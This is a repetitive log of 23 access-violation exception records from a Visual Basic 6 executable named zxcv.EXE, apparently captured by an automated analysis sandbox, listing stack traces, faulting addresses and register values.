__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1912 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6418 exception.address: 0x401912 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1913 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6419 exception.address: 0x401913 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1914 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6420 exception.address: 0x401914 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1915 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6421 exception.address: 0x401915 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1916 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6422 exception.address: 0x401916 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1917 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6423 exception.address: 0x401917 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1918 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6424 exception.address: 0x401918 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1919 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6425 exception.address: 0x401919 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x191a exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6426 exception.address: 0x40191a registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x191b exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6427 exception.address: 0x40191b registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x191c exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6428 exception.address: 0x40191c registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x191d exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6429 exception.address: 0x40191d registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x191e exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6430 exception.address: 0x40191e registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x191f exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6431 exception.address: 0x40191f registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1920 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6432 exception.address: 0x401920 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1921 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6433 exception.address: 0x401921 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1922 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6434 exception.address: 0x401922 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1923 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6435 exception.address: 0x401923 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1924 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6436 exception.address: 0x401924 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1925 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6437 exception.address: 0x401925 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1926 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6438 exception.address: 0x401926 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec exception.symbol: zxcv+0x1927 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6439 exception.address: 0x401927 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 00 exception.symbol: zxcv+0x1928 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6440 exception.address: 0x401928 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
